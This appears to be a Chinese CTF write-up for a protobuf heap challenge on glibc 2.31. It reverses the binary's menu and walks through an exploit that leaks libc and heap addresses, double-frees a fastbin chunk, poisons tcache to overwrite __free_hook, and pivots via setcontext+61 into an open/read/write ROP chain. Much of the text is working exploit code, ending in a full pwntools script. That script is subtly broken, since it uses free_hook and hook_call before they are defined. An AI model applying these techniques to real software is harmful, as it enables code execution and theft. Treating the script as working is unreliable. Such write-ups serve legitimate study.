一道 protobuf 序列化的题目，打 setcontext 的方式也比较熟悉，或许打 environ 也可以，没尝试过。

程序分析：

main

进到 main 函数，找到该程序反序列化的入口 sub_192D，该函数主要的作用是为了把读进来的原始字节按 protobuf 消息 pwn 解析成一个对象，进去看一看：

sub_192D

1
2
3
4
char *__fastcall sub_192D(_UNKNOWN **a1, unsigned __int64 n5, unsigned __int8 *s)
{
  return sub_5090((__int64)&qword_9C80, a1, n5, s);
}

找到 protobuf

查找字符串可以看到 msg 开头的在.rodata 的字符串，猜测这个就是我们需要逆向的 protobuf

这里 0x9B70 (+0x8)的地方就是 idx，+0x10 偏移的地方就是结构体元素类型：0xF 对应的是 bytes

1
2
3
message pwn {
  optional sint64 actionid = 1;
}
内存数值 (Dec) 内存数值 (Hex) 对应 Proto 类型 底层 Wire Type 实战内存占用特征
0 0x00 int32 0 (Varint) 占 4 字节（有符号）
1 0x01 sint32 0 (Varint) 占 4 字节（ZigZag 压缩编码）
2 0x02 sfixed32 5 (32-bit) 占 4 字节（固定长度）
3 0x03 int64 0 (Varint) 占 8 字节
4 0x04 sint64 0 (Varint) 占 8 字节
5 0x05 sfixed64 1 (64-bit) 占 8 字节（固定长度）
6 0x06 uint32 0 (Varint) 占 4 字节（无符号）
7 0x07 fixed32 5 (32-bit) 占 4 字节
8 0x08 uint64 0 (Varint) 占 8 字节
9 0x09 fixed64 1 (64-bit) 占 8 字节
10 0x0A float 5 (32-bit) 占 4 字节
11 0x0B double 1 (64-bit) 占 8 字节
12 0x0C bool 0 (Varint) 占 4 字节（实际存 0 或 1）
13 0x0D enum 0 (Varint) 占 4 字节
14 0x0E string 2 (Length-del) 占 8 字节（仅存指向字符串的指针 char*）
15 0x0F bytes 2 (Length-del) 占 16 字节（复合结构体 ProtobufCBinaryData）
16 0x10 message 2 (Length-del) 占 8 字节（指向子 Message 实例的指针）

在二进制文件同级目录下创建 bot.proto 文件：

1
2
3
4
5
6
7
8
9
10
11
syntax = "proto2";

package Devicemsg;

message pwn {
  optional sint64 actionid = 1;
  optional sint64 msgidx = 2;
  optional sint64 msgsize = 3;
  optional bytes msgcontent = 4;
} 

1
protoc --python_out=./ ./bot.proto

命令执行成功后，会在 --python_out 当前目录下生成一个专属的 Python 模块文件。

生成的文件名有严格的固定格式：原文件名 _pb2.py

之后我们就可以导入模块：import ez_buf_pb2 编写 exp

sub_a55D

这个就是我们的指令菜单了，简单逆向修改了一下函数名和变量名，增加一下可读性，感觉 protobuf 的变量名哪里还是有一点弯弯绕绕，需要仔细分析一下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
unsigned __int8 *__fastcall sub_155D(
    __int64 n4,
    unsigned __int64 idx,
    __int64 size_2,
    __int64 size,
    const void *content)
{
    size_t buf; // [rsp+18h] [rbp-18h]

    buf = size_2;
    if ( idx > 0x20 )
        exit_0();
    if ( (unsigned __int64)size > 0xF0 )
        exit_0();
    if ( (unsigned __int64)size_2 > 0xF0 )
        exit_0();
    if ( size_2 < size )
        buf = size;
    if ( n4 == 4 )
        return delete(idx);
    if ( n4 > 4 )
        goto LABEL_19;
    if ( n4 == 3 )
        return (unsigned __int8 *)show(idx);
    if ( n4 == 1 )
        return (unsigned __int8 *)add(idx, buf, size, content);
    if ( n4 != 2 )
        LABEL_19:
    exit_0();
    return (unsigned __int8 *)edit(idx, size, content);
}

add

1
2
3
4
5
6
7
8
9
10
11
12
13
void *__fastcall add(__int64 idx, size_t size, size_t size_1, const void *content)
{
    void *result; // rax

    result = (void *)*((_QWORD *)&unk_A460 + idx);
    if ( !result )
    {
        *((_QWORD *)&unk_A460 + idx) = malloc(size);
        qword_A560[idx] = size;
        return memcpy(*((void **)&unk_A460 + idx), content, size_1);
    }
    return result;
}

这里是创建，规定大小不超过 0xF0，qword_A560[idx] 数组存入的是 size

delete：

1
2
3
4
5
6
7
8
9
10
11
12
13
unsigned __int8 *__fastcall delete(__int64 idx)
{
    unsigned __int8 *result; // rax

    result = (unsigned __int8 *)*((_QWORD *)&unk_A460 + idx);
    if ( result )
    {
        free(*((void **)&unk_A460 + idx));
        result = &s_[idx];
        s_[idx] = 0;
    }
    return result;
}

show

1
2
3
4
5
6
7
8
9
ssize_t __fastcall show(__int64 idx)
{
    ssize_t result; // rax

    result = *((_QWORD *)&unk_A460 + idx);
    if ( result )
        return write(1, *((const void **)&unk_A460 + idx), qword_A560[idx]);
    return result;
}

edit：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void *__fastcall edit(__int64 idx, signed __int64 size, const void *content)
{
    void *result; // rax
    signed __int64 n; // [rsp+10h] [rbp-10h]

    n = size;
    result = (void *)*((_QWORD *)&unk_A460 + idx);
    if ( result )
    {
        if ( size > qword_A560[idx] )
            n = qword_A560[idx];
        return memcpy(*((void **)&unk_A460 + idx), content, n);
    }
    return result;
}

EXP 思路：

泄露 libc_base

泄露 libc_base 比较常用的就是 UnSortedbin 泄露 main_arena 减去固定偏移的方法找到 libc_base：

1
2
3
4
5
6
7
8
9
10
11
for i in range(8):
    add_chunk(i, 0x100, b"/bin/sh\x00")

for i in range(7):
    delete_chunk(i + 1)

delete_chunk(0)
show_chunk(0)
libc_base = u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) - 0x1ecbe0
libc.address = libc_base
log.success("libc_base = " + hex(libc_base))

这里需要先挂满 Tcachebin 才可以把 bin 挂到 UnSortedbin 上，也是比较常见的手法了：

Fastbin Double Free

1
2
3
4
5
6
7
for i in range(8, 17):
    add_chunk(i, 0x60, b"/bin/sh\x00")
for i in range(10, 17):
    delete_chunk(i)
delete_chunk(8)
delete_chunk(9)
delete_chunk(8)
  • 思路：申请 9 个 0x60 的 chunk。先释放 7 个（10到16）把 0x60 大小的 Tcache 填满。
  • Double Free 绕过：glibc 2.31 引入了 Tcache key 机制来防止 Tcache 的 Double Free。由于 Tcache 已经被我们填满了，接下来释放的 8 和 9 会进入 Fastbin。Fastbin 只检查连续释放的两个 chunk 是否相同（top != p），所以按照 8 -> 9 -> 8 的顺序释放，可以绕过检查。

Tcache_Poisoning 将 __free_hook 申请出来

1
2
3
for i in range(24, 27):
    add_chunk(i, 0x60, p64(free_hook))
add_chunk(27, 0x60, p64(hook_call))
  • 由于上一步的 double_free，我们可以借此申请处 free_hook 道原本 chunk8 的地址，修改 fd 指针
  • 当我们申请 chunk 27 的时候就会申请到 _free_hook

泄露 heap_base

1
2
3
4
show_chunk(14)
p.recv()
heap_base = u64(p.recv(6).ljust(8, b"\x00")) - 0x11c0
success("heap_base = " + hex(heap_base))

泄露 fd 指针然后 vmmap 调一下 heap_base 减去固定差值即可：

布置 ORW

1
2
3
orw = p64(pop_rdi) + p64(fake) + p64(pop_rsi) + p64(0) + p64(libc.sym["open"])
orw += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(buf) + p64(pop_rdx_r12) + p64(0x50) + p64(0) + p64(libc.sym["read"])
orw += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(buf) + p64(pop_rdx_r12) + p64(0x50) + p64(0) + p64(libc.sym["write"])

这里直接先布置 ORW，再说之后的 setcontext + 61 的事情，这样子清晰一点。

setcontext+61

先放这一部分的 exp：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
free_hook = libc.sym["__free_hook"]
setcontext = libc.sym["setcontext"] + 61
hook_call = libc_base + 0x151bb0
pop_rdi = libc_base + rop.find_gadget(["pop rdi", "ret"]).address
pop_rsi = libc_base + rop.find_gadget(["pop rsi", "ret"]).address
pop_rdx_r12 = libc_base + rop.find_gadget(["pop rdx", "pop r12", "ret"]).address
ret = libc_base + 0x22679

fake = heap_base + 0x1cf0
buf = fake + 0x100

frame = b"./flag\x00\x00" + p64(fake) + p64(0)*2 + p64(setcontext)
frame = frame.ljust(0xa0, b"\x00") + p64(fake + 0xb0) + p64(ret)
frame += p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(buf)
frame += p64(pop_rdx_r12) + p64(0x200) + p64(0) + p64(libc.sym["read"])
add_chunk(28, 0x1d0, frame)

delete_chunk(28)
send(orw)

之后是要打 setcontext+61 迁移到栈上，除此之外还需要一段能够跳转到 setcontext 的 gadgets，通常是：

1
2
3
mov rdx, [rdi+8]
mov [rsp], rax
call [rdx+0x20]

来看一下这道题目的setcontext:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
Dump of assembler code for function setcontext:
   0x00007ffff7e27970 <+0>:     endbr64
   0x00007ffff7e27974 <+4>:     push   rdi
   0x00007ffff7e27975 <+5>:     lea    rsi,[rdi+0x128]
   0x00007ffff7e2797c <+12>:    xor    edx,edx
   0x00007ffff7e2797e <+14>:    mov    edi,0x2
   0x00007ffff7e27983 <+19>:    mov    r10d,0x8
   0x00007ffff7e27989 <+25>:    mov    eax,0xe
   0x00007ffff7e2798e <+30>:    syscall
   0x00007ffff7e27990 <+32>:    pop    rdx
   0x00007ffff7e27991 <+33>:    cmp    rax,0xfffffffffffff001
   0x00007ffff7e27997 <+39>:    jae    0x7ffff7e27abf <setcontext+335>
   0x00007ffff7e2799d <+45>:    mov    rcx,QWORD PTR [rdx+0xe0]
   0x00007ffff7e279a4 <+52>:    fldenv [rcx]
   0x00007ffff7e279a6 <+54>:    ldmxcsr DWORD PTR [rdx+0x1c0]
   0x00007ffff7e279ad <+61>:    mov    rsp,QWORD PTR [rdx+0xa0]
   0x00007ffff7e279b4 <+68>:    mov    rbx,QWORD PTR [rdx+0x80]
   0x00007ffff7e279bb <+75>:    mov    rbp,QWORD PTR [rdx+0x78]
   0x00007ffff7e279bf <+79>:    mov    r12,QWORD PTR [rdx+0x48]
   0x00007ffff7e279c3 <+83>:    mov    r13,QWORD PTR [rdx+0x50]
   0x00007ffff7e279c7 <+87>:    mov    r14,QWORD PTR [rdx+0x58]
   0x00007ffff7e279cb <+91>:    mov    r15,QWORD PTR [rdx+0x60]
   0x00007ffff7e279cf <+95>:    test   DWORD PTR fs:0x48,0x2
   0x00007ffff7e279db <+107>:   je     0x7ffff7e27a96 <setcontext+294>
   0x00007ffff7e279e1 <+113>:   mov    rsi,QWORD PTR [rdx+0x3a8]
   0x00007ffff7e279e8 <+120>:   mov    rdi,rsi
   0x00007ffff7e279eb <+123>:   mov    rcx,QWORD PTR [rdx+0x3b0]
   0x00007ffff7e279f2 <+130>:   cmp    rcx,QWORD PTR fs:0x78
   0x00007ffff7e279fb <+139>:   je     0x7ffff7e27a35 <setcontext+197>
   0x00007ffff7e279fd <+141>:   mov    rax,QWORD PTR [rsi-0x8]
   0x00007ffff7e27a01 <+145>:   and    rax,0xfffffffffffffff8
   0x00007ffff7e27a05 <+149>:   cmp    rax,rsi
   0x00007ffff7e27a08 <+152>:   je     0x7ffff7e27a10 <setcontext+160>
   0x00007ffff7e27a0a <+154>:   sub    rsi,0x8
   0x00007ffff7e27a0e <+158>:   jmp    0x7ffff7e279fd <setcontext+141>
   0x00007ffff7e27a10 <+160>:   mov    rax,0x1
   0x00007ffff7e27a17 <+167>:   incsspq rax
   0x00007ffff7e27a1c <+172>:   rstorssp QWORD PTR [rsi-0x8]
   0x00007ffff7e27a21 <+177>:   saveprevssp
   0x00007ffff7e27a25 <+181>:   mov    rax,QWORD PTR [rdx+0x3b0]
   0x00007ffff7e27a2c <+188>:   mov    QWORD PTR fs:0x78,rax
   0x00007ffff7e27a35 <+197>:   rdsspq rcx
   0x00007ffff7e27a3a <+202>:   sub    rcx,rdi
   0x00007ffff7e27a3d <+205>:   je     0x7ffff7e27a5c <setcontext+236>
   0x00007ffff7e27a3f <+207>:   neg    rcx
   0x00007ffff7e27a42 <+210>:   shr    rcx,0x3
   0x00007ffff7e27a46 <+214>:   mov    esi,0xff
   0x00007ffff7e27a4b <+219>:   cmp    rcx,rsi
   0x00007ffff7e27a4e <+222>:   cmovb  rsi,rcx
   0x00007ffff7e27a52 <+226>:   incsspq rsi
   0x00007ffff7e27a57 <+231>:   sub    rcx,rsi
   0x00007ffff7e27a5a <+234>:   ja     0x7ffff7e27a4b <setcontext+219>
   0x00007ffff7e27a5c <+236>:   mov    rsi,QWORD PTR [rdx+0x70]
   0x00007ffff7e27a60 <+240>:   mov    rdi,QWORD PTR [rdx+0x68]
   0x00007ffff7e27a64 <+244>:   mov    rcx,QWORD PTR [rdx+0x98]
   0x00007ffff7e27a6b <+251>:   mov    r8,QWORD PTR [rdx+0x28]
   0x00007ffff7e27a6f <+255>:   mov    r9,QWORD PTR [rdx+0x30]
   0x00007ffff7e27a73 <+259>:   mov    r10,QWORD PTR [rdx+0xa8]
   0x00007ffff7e27a7a <+266>:   mov    rdx,QWORD PTR [rdx+0x88]
   0x00007ffff7e27a81 <+273>:   rdsspq rax
   0x00007ffff7e27a86 <+278>:   cmp    r10,QWORD PTR [rax]
   0x00007ffff7e27a89 <+281>:   mov    eax,0x0
   0x00007ffff7e27a8e <+286>:   jne    0x7ffff7e27a93 <setcontext+291>
   0x00007ffff7e27a90 <+288>:   push   r10
   0x00007ffff7e27a92 <+290>:   ret
   0x00007ffff7e27a93 <+291>:   jmp    r10
   0x00007ffff7e27a96 <+294>:   mov    rcx,QWORD PTR [rdx+0xa8]
   0x00007ffff7e27a9d <+301>:   push   rcx
   0x00007ffff7e27a9e <+302>:   mov    rsi,QWORD PTR [rdx+0x70]
   0x00007ffff7e27aa2 <+306>:   mov    rdi,QWORD PTR [rdx+0x68]
   0x00007ffff7e27aa6 <+310>:   mov    rcx,QWORD PTR [rdx+0x98]
   0x00007ffff7e27aad <+317>:   mov    r8,QWORD PTR [rdx+0x28]
   0x00007ffff7e27ab1 <+321>:   mov    r9,QWORD PTR [rdx+0x30]
   0x00007ffff7e27ab5 <+325>:   mov    rdx,QWORD PTR [rdx+0x88]
   0x00007ffff7e27abc <+332>:   xor    eax,eax
   0x00007ffff7e27abe <+334>:   ret
   0x00007ffff7e27abf <+335>:   mov    rcx,QWORD PTR [rip+0x18d382]        # 0x7ffff7fb4e48
   0x00007ffff7e27ac6 <+342>:   neg    eax
   0x00007ffff7e27ac8 <+344>:   mov    DWORD PTR fs:[rcx],eax
   0x00007ffff7e27acb <+347>:   or     rax,0xffffffffffffffff
   0x00007ffff7e27acf <+351>:   ret
End of assembler dump.

如果我们可以返回到 setcontext+61 的位置, 且成功控制 rdx 及周边区域, 我们就可以控制各个寄存器的值, 同时我们可以发现 , setcontext+107 的跳转语句均成立, 因此程序真正的执行流如下, 其中 mov rcx,QWORD PTR [rdx+0xa8] ; push rcx 是设置 rcx 并将其值压入栈中, 最后由 ret 将这个值作为返回地址, 实际作用就是设置 rip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
0x00007ffff7e279ad <+61>:    mov    rsp,QWORD PTR [rdx+0xa0]
0x00007ffff7e279b4 <+68>:    mov    rbx,QWORD PTR [rdx+0x80]
0x00007ffff7e279bb <+75>:    mov    rbp,QWORD PTR [rdx+0x78]
0x00007ffff7e279bf <+79>:    mov    r12,QWORD PTR [rdx+0x48]
0x00007ffff7e279c3 <+83>:    mov    r13,QWORD PTR [rdx+0x50]
0x00007ffff7e279c7 <+87>:    mov    r14,QWORD PTR [rdx+0x58]
0x00007ffff7e279cb <+91>:    mov    r15,QWORD PTR [rdx+0x60]
0x00007ffff7e279cf <+95>:    test   DWORD PTR fs:0x48,0x2
0x00007ffff7e279db <+107>:   je     0x7ffff7e27a96 <setcontext+294>
(跳转到setcontext+294)
0x00007ffff7e27a96 <+294>:   mov    rcx,QWORD PTR [rdx+0xa8]
0x00007ffff7e27a9d <+301>:   push   rcx
0x00007ffff7e27a9e <+302>:   mov    rsi,QWORD PTR [rdx+0x70]
0x00007ffff7e27aa2 <+306>:   mov    rdi,QWORD PTR [rdx+0x68]
0x00007ffff7e27aa6 <+310>:   mov    rcx,QWORD PTR [rdx+0x98]
0x00007ffff7e27aad <+317>:   mov    r8,QWORD PTR [rdx+0x28]
0x00007ffff7e27ab1 <+321>:   mov    r9,QWORD PTR [rdx+0x30]
0x00007ffff7e27ab5 <+325>:   mov    rdx,QWORD PTR [rdx+0x88]
0x00007ffff7e27abc <+332>:   xor    eax,eax
0x00007ffff7e27abe <+334>:   ret

在这道题中, 由于 malloc 的大小是恒定的, 其 rdi 不能由我们控制, 因此我们考虑利用 free 函数, 因为 free 函数的 rdi 是目标堆块的 user data 地址, 只要我们布置好堆块就能够利用

而 gadgets 的内容是 :

1
2
3
mov rdx, [rdi+8]
mov [rsp], rax
call [rdx+0x20]

这也就意味着在触发 free 的时候，参数 rdi 来自的是被 free 的那个指针，因此我们就可以提前在将要 free 的那个 chunk 的 data 区进行布置。当调用 free 时就会 从 [rdi+0x8] 取出一个地址到 rdx；再调用 [rdx+0x20]，通过这个 gadget 我们可以通过 rdi 控制 rdx , 并通过设置好的 rdx 调用 setcontext+61。

依旧根据我们上面所说：画一个 chunk28 的 data 域的结构图吧：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
0x00: "./flag\x00\x00"                      
0x08: p64(fake)                <-- hook_call 取到 rdx
0x10: b"A" * 0x10                           
0x20: p64(setcontext+61)       <-- [rdx+0x20] 被 call
0x28: 0                                   
0x30: 0                                 
...                                         
0x88: 0                                     
...                                         
0xa0: p64(fake + 0xb0)        <-- setcontext: rsp = [rdx+0xa0]
0xa8: p64(ret)                <-- setcontext 最后 ret/jmp 到这里
0xb0: ROP starts here                       │
0xb0: pop rdi ; ret                         │
0xb8: 0                                     │
0xc0: pop rsi ; ret                         │
0xc8: buf                                   │
0xd0: pop rdx ; pop r12 ; ret               │
0xd8: 0x200                                 │
0xe0: 0                                     │
0xe8: read                                  │
... read 第二段 ORW 到 buf ...


在 delete 触发 free 的时候

  1. 进入 hook_call执行 gadgets
  2. mov rdx, [rdi+0x8]：rdx = p64(fake)
  3. call qword ptr [rdx+0x20]：call ptr [setcontext+61]
  4. 执行 setcontext，下面只说最重要的
  5. rsp,QWORD PTR [rdx+0xa0]：rsp = p64(fake + 0xb0)
  6. ret
  7. 而p64(fake + 0xb0)就是 ORW 链，执行 ORW 获取 flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
free(fake_chunk)
      |
      v
  __free_hook = hook_call
      |
      v
  hook_call:
      rdx = *(chunk + 8)
      call qword ptr [rdx + 0x20]
      |
      v
  setcontext+61
      |
      v
  rsp = [rdx + 0xa0]
  ret to [rdx + 0xa8]
      |
      v
  heap rop

总 EXP：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
from pwn import *
import bot_pb2

elf = ELF("./bot")
libc = ELF("/home/kali/Desktop/glibc-all-in-one/libs/2.31-0ubuntu9.18_amd64/libc-2.31.so")
rop = ROP(libc)
p = process([elf.path])
context(arch=elf.arch, os=elf.os)
context.terminal=["tmux","splitw","-h"]

def enc(x):
    return (x >> 1) ^ -(x & 1)


def send_msg(todo, idx, size, con=b""):
    chunk = bot_pb2.pwn()
    chunk.actionid = enc(todo)
    chunk.msgidx = enc(idx * 2)
    chunk.msgsize = enc(size)
    chunk.msgcontent = con
    p.recvuntil(b"You can try to have friendly communication with me now: ")
    p.send(chunk.SerializeToString())


def add_chunk(idx, size, con):
    send_msg(2, idx, size + 0x10, con)


def edit_chunk(idx, size, con):
    send_msg(4, idx, size + 0x10, con)


def show_chunk(idx):
    send_msg(6, idx, 0)


def delete_chunk(idx):
    send_msg(8, idx, 32, b"/bin/sh\x00")


for i in range(8):
    add_chunk(i, 0x100, b"/bin/sh\x00")

for i in range(7):
    delete_chunk(i + 1)

delete_chunk(0)
show_chunk(0)
leak_addr = u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
log.success(f'leak_addr is ==> {hex(leak_addr)}')
libc_base =  leak_addr - 0x1ecbe0
libc.address = libc_base
success("libc_base = " + hex(libc_base))
# gdb.attach(p)
# pause()

for i in range(8, 17):
    add_chunk(i, 0x60, b"/bin/sh\x00")

for i in range(10, 17):
    delete_chunk(i)

delete_chunk(8)
delete_chunk(9)
delete_chunk(8)

for i in range(17, 24):
    add_chunk(i, 0x60, b"")

show_chunk(14)
p.recv()
heap_base = u64(p.recv(6).ljust(8, b"\x00")) - 0x11c0
success("heap_base = " + hex(heap_base))
# gdb.attach(p)
# pause()

for i in range(24, 27):
    add_chunk(i, 0x60, p64(free_hook))

add_chunk(27, 0x60, p64(hook_call))

free_hook = libc.sym["__free_hook"]
setcontext = libc.sym["setcontext"] + 61
hook_call = libc_base + 0x151bb0
pop_rdi = libc_base + rop.find_gadget(["pop rdi", "ret"]).address
pop_rsi = libc_base + rop.find_gadget(["pop rsi", "ret"]).address
pop_rdx_r12 = libc_base + rop.find_gadget(["pop rdx", "pop r12", "ret"]).address
ret = libc_base + 0x22679

fake = heap_base + 0x1cf0
buf = fake + 0x100

frame = b"./flag\x00\x00" + p64(fake) + p64(0)*2 + p64(setcontext)
frame = frame.ljust(0xa0, b"\x00") + p64(fake + 0xb0) + p64(ret)
frame += p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(buf)
frame += p64(pop_rdx_r12) + p64(0x200) + p64(0) + p64(libc.sym["read"])
add_chunk(28, 0x1d0, frame)

delete_chunk(28)

orw = p64(pop_rdi) + p64(fake) + p64(pop_rsi) + p64(0) + p64(libc.sym["open"])
orw += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(buf) + p64(pop_rdx_r12) + p64(0x50) + p64(0) + p64(libc.sym["read"])
orw += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(buf) + p64(pop_rdx_r12) + p64(0x50) + p64(0) + p64(libc.sym["write"])
p.send(orw)

try:
    data = p.recvuntil(b"}")
except EOFError:
    data = open("./flag", "rb").read().rstrip(b"\n")

print(data)

说些什么吧！

utterances